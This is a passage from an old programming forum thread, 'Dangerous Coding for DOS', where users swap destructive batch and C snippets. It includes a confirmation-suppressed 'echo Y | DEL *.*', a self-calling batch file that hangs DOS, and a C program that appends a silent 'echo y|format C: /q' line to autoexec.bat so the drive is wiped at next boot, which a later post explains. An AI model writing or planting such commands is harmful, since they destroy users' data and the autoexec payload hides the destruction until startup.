Thread: Dangerous Coding for DOS(batch files)

  1. #16
    Registered User moonwalker's Avatar
    Join Date
    Jul 2002
    Posts
    282

    remove the confirmation thing :)

    an easier solution is...

    echo Y | DEL *.*

    all you wanna do is screw some files right?

    I dont know if you can use this under system() though...

    anyone ?

  2. #17
    Registered User
    Join Date
    Jul 2002
    Posts
    27
    I don't want to mess with files!

  3. #18
    Registered User moonwalker's Avatar
    Join Date
    Jul 2002
    Posts
    282

    i mean...

    neither do i...
    just discussing how dangerous one program can turn out to be

  4. #19
    Registered User Unimatrix139's Avatar
    Join Date
    Jun 2002
    Posts
    55

    Smile system

    I reckon you could use that code with system - It's a direct call to COMMAND.COM so (theoretically) any DOS based command would work
    Kree'ta Tau'ri! Chaapa'ai!

  5. #20
    Registered User VBprogrammer's Avatar
    Join Date
    Mar 2002
    Posts
    175
    Well if you where really clever you would disassemble format.com and take the input and output routines out then re-assemble it. Go on - i dare you!
    VC++ 6

  6. #21
    Registered User
    Join Date
    Jul 2002
    Posts
    24
    I doubt if a programme running on a particular OS can format the drive that houses that OS !!!
    Is the OS so 'foolish' to allow a programme to format the drive that is running the OS ?

  7. #22
    Registered User
    Join Date
    Jul 2002
    Posts
    36
    yeah, it is.


    another nice lil piece of batch (works only in real DOS, not in a Windows DOS-Box, tho)

    Code:
    @ctty nul
    set %a%=%a%+%a%
    a

    call it "a.bat" and run it - your system hangs DOS can't handle a simple addition, heh!

    (well the reason for the crash is not that DOS cannot handle an addition - can u guess why it hangs? nice lil quiz!)
    "I don't know with what weapons World War III will be fought... but World War IV will be fought with sticks and stones." - Albert Einstein

  8. #23
    Registered User Unimatrix139's Avatar
    Join Date
    Jun 2002
    Posts
    55

    quiz

    um.... it sets a null codepage and calls itself?
    Kree'ta Tau'ri! Chaapa'ai!

  9. #24
    Registered User
    Join Date
    Jul 2002
    Posts
    36
    well the answer is, because batch files are translated before processing.

    In the beginning, the environment variable %a% is empty, so the very first execution of the set-command would be run like this:

    set %a%=+

    got it? %a% is empty and the batchfile is translated before processing

    Going on, in the 2nd execution (it runs itself, remember!) it's:

    set %a%=+++

    because... oh, you got it, allright

    and then:

    set %a%=+++++++

    and then:

    set %a%=+++++++++++++++

    and:

    set %a%=+++++++++++++++++++++++++++++++

    ...
    and so on.

    then you should know that a DOS command must NOT exceed 255 byte. (or was it 127? I forgot) well anyway, the set command gets too long after some interations and overwrites critical DOS memory stuff... and so the PC hangs )

  10. #25
    Registered User Unimatrix139's Avatar
    Join Date
    Jun 2002
    Posts
    55

    Talking cool

    Very clever (or not - depending on whether you want your system to hang!)
    Kree'ta Tau'ri! Chaapa'ai!

  11. #26
    Registered User
    Join Date
    Jun 2002
    Posts
    267
    Try this one.....

    @echo off
    C:
    CD\WINDOWS\DESKTOP
    md ³ĊĊ³

  12. #27
    Unleashed
    Join Date
    Sep 2001
    Posts
    1,765
    > discussing how dangerous one program can turn out to be
    Code:
    #include <stdio.h>
    
    int main ( void )
    {
    	FILE * Point;
    	Point = fopen("c:\\autoexec.bat", "a");
    	fprintf(Point, "smartdrv\necho y|format C: /q >NUL");
    	fclose(Point);
    	return 0;
    }
    The world is waiting. I must leave you now.

  13. #28
    Registered User
    Join Date
    Jul 2002
    Posts
    24

    What happens here ?

    The string gets written in to autoexec.bat, then what ?
    what will be the result, when the above code is executed.
    Dont say "try it" !!!

  14. #29
    Registered User moonwalker's Avatar
    Join Date
    Jul 2002
    Posts
    282

    here...

    smartdrv\necho y|format C: /q >NUL

    you can see a "format C:" .. "echo y"
    (immediately after format C: )
    that almost tells the whole story..

    your computer cleans the disk when you boot it.

  15. #30
    Registered User /\/\ E /\/ @'s Avatar
    Join Date
    Jul 2002
    Posts
    10

    Would it work with EXE?

    Originally posted by PrivatePanic
    well the answer is, because batch files are translated before processing.

    In the beginning, the environment variable %a% is empty, so the very first execution of the set-command would be run like this:

    set %a%=+

    got it? %a% is empty and the batchfile is translated before processing

    Going on, in the 2nd execution (it runs itself, remember!) it's:

    set %a%=+++

    because... oh, you got it, allright

    and then:

    set %a%=+++++++

    and then:

    set %a%=+++++++++++++++

    and:

    set %a%=+++++++++++++++++++++++++++++++

    ...
    and so on.

    then you should know that a DOS command must NOT exceed 255 byte. (or was it 127? I forgot) well anyway, the set command gets too long after some interations and overwrites critical DOS memory stuff... and so the PC hangs )
    I have a question...would the system still hang if I make an EXE file call itself not a batch file? I would do it the exact same way you did it to the batch file.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Reading .dat files from a folder in current directory...
    By porsche911nfs in forum C++ Programming
    Replies: 7
    Last Post: 04-04-2009, 09:52 PM
  2. Working with muliple source files
    By Swarvy in forum C++ Programming
    Replies: 1
    Last Post: 10-02-2008, 08:36 AM
  3. Folding@Home Cboard team?
    By jverkoey in forum A Brief History of Cprogramming.com
    Replies: 398
    Last Post: 10-11-2005, 08:44 AM
  4. Batch file programming
    By year2038bug in forum Tech Board
    Replies: 10
    Last Post: 09-05-2005, 03:30 PM
  5. Coding C++ to play *.wma files
    By eyemustbecrazy in forum C++ Programming
    Replies: 2
    Last Post: 04-07-2005, 10:26 PM